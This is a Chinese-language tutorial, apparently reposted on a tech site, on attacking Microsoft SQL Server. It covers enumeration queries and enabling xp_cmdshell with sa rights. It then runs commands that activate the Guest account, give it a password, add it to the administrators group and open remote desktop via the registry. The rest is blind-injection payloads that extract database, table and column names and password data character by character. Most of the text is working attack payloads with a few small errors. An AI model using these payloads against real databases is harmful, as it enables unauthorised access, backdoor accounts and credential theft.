SQLServer数据库及注入方法

网友投稿 847 2022-09-07

SQLServer数据库及注入方法

SQLServer数据库及注入方法

目录

​​SQLServer数据库​​

​​SQLServer数据库的查询语句​​

​​SA权限开启xp_cmdshell获取主机权限​​

​​盲注SQLServer数据库​​

SQLServer数据库

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 --

sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限db权限:文件管理,数据库操作等权限 users-administratorspublic权限:数据库操作 guest-users

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个其他数据库:ReportServer、ReportServerTempDB。其中,model和tempdb是默认没有数据表的。

但是如果用navicat远程连接的话,只会显示2个数据库:ReportServer、ReportServerTempDB

SQLServer数据库的查询语句

select @@version; #查询数据库的版本select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字select db_name(); #查询当前数据库名select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner use tempdb #切换到tempdb表 top n #查询前n条记录limit 2,3 #查询第2条开始的3条数据,也就是2,3,4select substring('string',2,1) #截取给定字符串的索引为2的1个字符select ascii('a') #查询给定字符串的ascii值select len('string') #查询给定字符串的长度#数据库的连接server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDBmssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDBcount(name)是查询总数name是查询名字*是查询详细信息#查询数据库select count(name) from sysdatabases #查询数据库的个数select name from sysdatabases #查询数据库的名字select * from sysdatabases #查询所有数据库的信息#查询数据表select * from sysobjects where type='u' #查询当前数据库的所有表的详细信息select count(name) from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的个数select name from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的名字select * from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的详细信息#查询列select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息#查询数据select count(*) from test..user #查询test数据库user表的数据的条数select * from test..user #查询test数据库user表的所有数据

SA权限开启xp_cmdshell获取主机权限

如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启

select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' #判断xp_cmdshell是否打开,1就是打开了,0就是关闭了execute('sp_configure "show advanced options",1') #将该选项的值设置为1execute('reconfigure') #保存设置execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1execute('reconfigure') #保存设置execute('sp_configure') #查看配置execute('xp_cmdshell "whoami"') #执行系统命令或者exec sp_configure 'show advanced options',1; #将该选项的值设置为1reconfigure; #保存设置exec sp_configure 'xp_cmdshell',1; #将xp_cmdshell的值设置为1reconfigure; #保存设置exec sp_configure #查看配置exec xp_cmdshell 'whoami' #执行系统命令可以执行系统权限之后,前提是获取的主机权限是administrators组里的exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口

盲注SQLServer数据库

Access数据库特有的表是:sysobjects  ,所以可以用它来判断是否是Access数据库

exists(select*from sysobjects)

判断xp_cmdshell是否存在

and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

判断当前数据库用户权限

and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为saand 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNERand 1=(IS_srvrolemember('public')) //public权限,较低

判断数据库的个数

and (select count(name) from sysdatabases)>N

判断dbid,一般数据库有多少个,dbid的值就为多少

and (select count(*) from sysdatabases where dbid=N)=1

判断当前数据库名

判断数据库的长度,由以下得知数据库的长度是8and len(db_name())>5 //正常显示and len(db_name())>10 //不正常显示and len(db_name())>7 //正常显示 and len(db_name())>8 //不正常显示判断数据库字符的ascii值and ascii(substring(db_name(),1,1))>95 //正常显示and ascii(substring(db_name(),1,1))>100 //不正常显示and ascii(substring(db_name(),1,1))>96 //正常显示and ascii(substring(db_name(),1,1))>97 //不正常显示所以数据库的第一个字符的ascii值为97,即为a。以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97 数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97 直到爆出数据库最后一位字符,得到数据库名字。

根据dbid得到所有数据库名

判断dbid数据库的长度,由以下得知dbid为1数据库的长度是8and len(db_name(1))>5 //正常显示and len(db_name(1))>10 //不正常显示and len(db_name(1))>7 //正常显示 and len(db_name(1))>8 //不正常显示判断dbid为2数据库字符的ascii值and ascii(substring(db_name(2),1,1))>95 //正常显示and ascii(substring(db_name(2),1,1))>100 //不正常显示and ascii(substring(db_name(2),1,1))>96 //正常显示and ascii(substring(db_name(2),1,1))>97 //不正常显示所以dbid为1数据库的第一个字符的ascii值为97,即为a。以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97 数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97 直到爆出数据库最后一位字符,得到数据库名字。

这里假设我们知道了数据库中存在  test 数据库。

爆破test数据库中表的个数

and (select count(name) from test..sysobjects where xtype='U')>N

爆破test数据库中表的长度和名称

爆破test数据库中第一个表的长度:and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 1 id from test..sysobjects where xtype='U')))=N爆破test数据库中第一个表的第一个字符的ascii值:and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),1,1))>115爆破test数据库中第一个表的第二个字符的ascii值:and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),2,1))>115爆破test数据库中第一个表的第三个字符的ascii值:and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),3,1))>115.......爆破test数据库中第二个表的长度:and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 2 id from msdb..sysobjects where xtype='U')))=N爆破test数据库中第二个表的第一个字符的ascii值:and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),1,1))>115爆破test数据库中第二个表的第二个字符的ascii值:and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),2,1))>115爆破test数据库中第二个表的第三个字符的ascii值:and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),3,1))>115.......

这里假设我们爆出了user表

爆破test数据库中user表的列数

and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='user'))=N

爆破test数据库中user表的列名

爆破test数据库中user表的第一列的长度:and len((select top 1 col_name(object_id('user'),1) from test..sysobjects))>10爆破test数据库中user表的第一列的第一个字符的ascii值:and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),1,1))>97爆破test数据库中user表的第一列的第二个字符的ascii值:and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),2,1))>97爆破test数据库中user表的第一列的第三个字符的ascii值:and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),3,1))>97........爆破test数据库中user表的第二列的长度:and len((select top 1 col_name(object_id('user'),2) from test..sysobjects))>10爆破test数据库中user表的第二列的第一个字符的ascii值:and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),1,1))>97爆破test数据库中user表的第二列的第二个字符的ascii值:and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),2,1))>97爆破test数据库中user表的第二列的第三个字符的ascii值:and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),3,1))>97........

这里假设我们爆出了password列

爆出test数据库中user表中password列的数据条数

and (select count(*) from test..user)=N

爆破test数据库中user表中password列中的数据

爆破test数据库中user表中password列中第一行数据的长度and (select top 1 len(password) from test..user where password not in (select top 1 id from test..user))>N爆破test数据库中user表中password列中第一行数据的第一个字符的ascii值and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),1,1))>10爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),2,1))>10爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),3,1))>10........爆破test数据库中user表中password列中第二行数据的长度and (select top 1 len(password) from test..user where password not in (select top 2 id from test..user))>N爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),2,1))>10爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),3,1))>10........

参考文章:​

​​MSSQL手工盲注​​

​​SQL Server手工注入笔记​​

​​SQL注入漏洞详解​​

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:SCCM2012R2网络部署重装系统
下一篇:PyCharm安装PyQt5及其工具(Qt Designer、PyUIC、PyRcc)详细教程(如何安装pyqt5)
相关文章

 发表评论

暂时没有评论,来抢沙发吧~